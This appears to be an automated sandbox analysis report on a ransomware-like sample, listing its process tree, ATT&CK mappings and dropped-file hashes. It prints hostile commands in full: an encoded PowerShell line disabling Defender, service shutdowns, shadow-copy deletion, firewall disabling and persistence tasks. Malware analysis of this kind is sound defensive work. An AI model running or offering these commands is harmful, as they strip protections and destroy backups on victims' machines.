wrote to memory of 5216 3368 xoilacbongdatructiep.net_chrome.exe 134 PID 3368 wrote to memory of 4292 3368 xoilacbongdatructiep.net_chrome.exe 135 PID 3368 wrote to memory of 4120 3368 xoilacbongdatructiep.net_chrome.exe 136 PID 3368 wrote to memory of 4764 3368 xoilacbongdatructiep.net_chrome.exe 137 PID 3368 wrote to memory of 3224 3368 xoilacbongdatructiep.net_chrome.exe 138 PID 3368 wrote to memory of 2316 3368 xoilacbongdatructiep.net_chrome.exe 146 PID 5216 wrote to memory of 6020 5216 cmd.exe 147 PID 1396 wrote to memory of 1240 1396 cmd.exe 148 PID 4316 wrote to memory of 5740 4316 cmd.exe 149 PID 4292 wrote to memory of 5420 4292 cmd.exe 150 PID 4764 wrote to memory of 4576 4764 cmd.exe 151 PID 1104 wrote to memory of 3464 1104 cmd.exe 152 PID 4120 wrote to memory of 5380 4120 cmd.exe 153 PID 5420 wrote to memory of 3820 5420 net.exe 154 PID 3368 wrote to memory of 5276 3368 xoilacbongdatructiep.net_chrome.exe 155 PID 1396 wrote to memory of 6012 1396 cmd.exe 156 PID 3368 wrote to memory of 3812 3368 xoilacbongdatructiep.net_chrome.exe 157 PID 3368 wrote to memory of 3180 3368 xoilacbongdatructiep.net_chrome.exe 158 PID 3368 wrote to memory of 3620 3368 xoilacbongdatructiep.net_chrome.exe 159 PID 3368 wrote to memory of 2892 3368 xoilacbongdatructiep.net_chrome.exe 160 PID 3368 wrote to memory of 1356 3368 xoilacbongdatructiep.net_chrome.exe 163 PID 3368 wrote to memory of 1384 3368 xoilacbongdatructiep.net_chrome.exe 164 PID 3620 wrote to memory of 1716 3620 net.exe 169 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\xoilacbongdatructiep.net_chrome.exe"C:\Users\Admin\AppData\Local\Temp\xoilacbongdatructiep.net_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3368 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2516
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4260
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:1184
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4856
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:5720
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5468
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:1532
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:3376
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4976
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Users\Admin\AppData\Local\Temp\xoilacbongdatructiep.net_chrome.exe"C:\Users\Admin\AppData\Local\Temp\xoilacbongdatructiep.net_chrome.exe"3⤵PID:1088
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1304
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:4560
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1700
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4104
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5360
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacbongdatructiep.net_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1636
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacbongdatructiep.net_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5812
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1396 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1240
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:6012
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:3464
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4316 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
PID:5740
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5216 -
C:\Windows\system32\whoami.exewhoami3⤵PID:6020
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4292 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:5420 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:3820
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4120 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:5380
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4764 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:4576
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacbongdatructiep.net_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3224
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:2316
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5276
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3812
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:3180
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:3620 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:1716
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2892
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:1356
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:1384
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5696
-
C:\Users\Admin\AppData\Local\Temp\xoilacbongdatructiep.net_chrome.exeC:\Users\Admin\AppData\Local\Temp\xoilacbongdatructiep.net_chrome.exe1⤵PID:2780
-
C:\Users\Admin\AppData\Local\Temp\xoilacbongdatructiep.net_chrome.exeC:\Users\Admin\AppData\Local\Temp\xoilacbongdatructiep.net_chrome.exe1⤵PID:4664
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20261113_042054.jpg
- Size 102KB
- SHA256 765ee2bc73ca006122ad31d0afa8fb1a756c96bc9c7fd4017b4b43e2096a9775
- MD5 d72ad0751a1755f40eb3be7c1ecbbe44
- SHA1 5763d3ca8d13f671bd3af5f33d67238670f5c2ba
- SHA512 38a717ce60efb504dc14fbb8c102bc5c300acbf841660d3ccabe8669ebe4ef0ba849a198669b077f8f1f0d460f4f0b7cee4ba518f1917ded799b63c1e578dbcf
- SSDEEP 1536:S89Yj4EK3lRhCEcGlY49LAQLuBegGoPPPPPPPPPPPPWDJrBk6wdqPM+xooooooor:oyx9e49A0ulGHXYx
- TLSH T1CFA3DD539C099B87512C93E87E034FAD5F5A7B0DE8817AEF01661E8B7E642734D8E01E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_2.pdf
- Size 76KB
- SHA256 a87f9367deaccb81471b95bc399155873c83bcde26977ed32c9bfc1ae5f78161
- MD5 5a35a90ea5ba376e32e97e6e44b264ae
- SHA1 84826bdcecaf48d7fc025332a9ea5d0c2c880351
- SHA512 a2a410d0f42afe87f0f8347d9236593798371666147727d961b1223a0b7ab4b216b5bfabd36c1181f516e01bb1117c1da282d0bedfe55e64615309f144952edc
- SSDEEP 1536:IOjZTxRWp9LGIDBV7lbDlYAwKBh9OVdIeVpp1O8Muvc140zzOCJVQwDKP4se:IOjZnWp9KIz70AwK3EVdIGD5DUe0zzl/
- TLSH T10B731B368E22FCD4677F3D80E0102A561C892E678B75777CFA810DB62AA5640DF3E59C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hlzgp5sf.lbk.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 256B
- SHA256 ce1af5a2170b2cd50c7088407597c5978792550ddf0d2f1d615136f31e3373bf
- MD5 bbfca5a06c8dbbd581046308a6567da0
- SHA1 851917115aa1b60b2eed3d794200d8211b28c7e4
- SHA512 fa28f11e139e7b60ebf48c3ffce52b49c020c67efba4c50b70a0f51adfef110a48ac0aca7e22b3fefbd01b95bbdf646d35913db7be62bc0f45efcf9d28b163c3
- TLSH T1EBD02E8BA208C2A90001262B80B28D4CEAA048283B03BEA04AA1CC4D32808898AFA043
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 257B
- SHA256 76034621e69e9faa8c0f7397a02221ae2205ac36b58536a5ea774dfd8d1def69
- MD5 d966b14faae3371bc3fcd6adc814321b
- SHA1 6d3ad9fcfde3c0b86418d5b7574aa6f8f2dc9f84
- SHA512 ce49fd4d796f8efc110b1f6566c85c6e42565bfdd9631a06e99230b4b21eb510904c570a603c5ca62f9aa5ed681b77cfd6748f70101f14944df7e990306863a2
- TLSH T19DD0958B7208C1790001163B80F3CD4CD7E14D2C3F13BE605991CC0D32404898DF5043
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 136KB
- SHA256 e8d9029d2556b9b084410c49e8fedd8f0fb5dbee560e0b1241a1f9d384d781b5
- MD5 f8101138f01825689a77924caa82b9d6
- SHA1 7cead5a7a5d7f31b09a969a92068d26cbaac1eb1
- SHA512 aa8533047702ce074ebfeab1ecb94b48af84e8b85b3d1ecebaa029031afcf1a1802ad73da37a5135838c9e59f24c089514cc82166e7846d1a625374a877c371a
- SSDEEP 1536:sAFb3HVUtAh+spSMkvBAeRRWYbDQCCrjiMsQK/3Z06qwow6:fai465kZopxjiMsv/C5w6
- TLSH T1D9D32701D7B28E3E55835AEF185676D4A03DF7B186ECC0FB60B6AB63F066CE1D249250
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 137KB
- SHA256 11f550e728fbe66c918b0c1355232a353bf845f1e4122a9b3bbf791ce48c5d37
- MD5 361c77c237e882043573da3548d212dd
- SHA1 1eb79744cd018dcea0c7ab356f8cc4cdb3faa78e
- SHA512 57ad760b8b93ffe91ddff19327b679203726fcb7c86ece82f6e503ba43644b3fed1685b23cc0a9b41e5a599790e67aaf36353ffd4f8ad49c08afe008b3de6800
- SSDEEP 1536:rAFb3HVUtAh+spSMkvBAeRRWYbDQCCrjiMsQK/3Z06qwow6:eai465kZopxjiMsv/C5w6
- TLSH T140D32701D7B28E3E55835AEF185676C4A03DF7B186ECC0FB60B6AB63F066CE1D249254
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Documents\invoice_1.pdf
- Size 76KB
- SHA256 ba461164a1272404212ad954b7fb40ed237d06453f2aa22ac0a081f24053e282
- MD5 d8e552f71c84e06dd075f67422940d7a
- SHA1 274041260b2354bdd54d16419bbb6f5384a5c38a
- SHA512 d2dde61b9219ae2632f25cd57c918dd7aa2d8fdf84e53a4e4ea040b86ca868d5bde6e3f026d9a2dd9659b6e54bbef6746da78f2a4a3f251c3d505eaaf86b630f
- SSDEEP 1536:oOjZTxRWp9LGIDBV7lbDlYAwKBh9OVdIeVpp1O8Muvc140zzOCJVQwDKP4sf:oOjZnWp9KIz70AwK3EVdIGD5DUe0zzlc
- TLSH T11D731A368E22FCD4677F3D80E0102A561C893D678BB5767CFA810DB62AA5640DF3E59C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\READ_ME_NANOCORE.txt
- Size 145B
- SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
- MD5 d7ea02f4c4953d6a3f52b5d0ecbeb047
- SHA1 ce3a66707cabbbeaa0980b91d3b6271fc84145cb
- SHA512 441ac2261f8c29eed640bdddfd5195f9fe5fe5fb0f08a77bbebdb4507819e8717855e5485f554986eb0f69ee55d1fa5939c3f7dc84a333f9d78a15973df56f70
- TLSH T156C02B572EE03298B1C036C20A0A4CA2A76D470CD605C6582A2FC42033001EE2E41130
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 57KB
- SHA256 0924ff396ed28647063ee555ded8b20bce97c21cc032652f7bda1d86082d20c0
- MD5 db59075b9bd4d1a2588bd63a4e4a3bea
- SHA1 ca8a65e39f7a20ac5c54392ac49ee947bb7d58b1
- SHA512 d58153c711b6be1ce279e5eb0ec13ea509b60d2c7f0e592db9f413840e0a13d8009fd288eb390eb8008aea8b2e40206317687dc8501b78e2a3f990fc7ab077f5
- SSDEEP 768:dT+rBnGu6FAGhWv2oZ9cbs4gU+dCYMR40N1XXGb5fAdOTqAKFum1g:dTIoiHvCs3fi40LXGb5feOTqAuuT
- TLSH T14A43C64477FD4211E2BF9EBA4DB195518732B8A7AC22D39D06D4068E09B3B408DA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path F:\RANSOM_NOTE.txt
- Size 177B
- SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
- MD5 c381da16f24527b361930429b75608ad
- SHA1 cc68fc2b7246e2b7611b3a1798a7dd3ad5b1c912
- SHA512 e79ae7b36ed481285d8fd080a69e080b637b0eaff67bcb53d0f27c89a984dd70f913d1f69cb306e0b96116b898227814eea36e8e3cfd03302c4455b28da89545
- TLSH T121C0C00B3EC4377822CC21E209018C12914EEA0CAA044254022BC9109EA496D30D44B3
- MD5 SHA1 SHA512 TLSH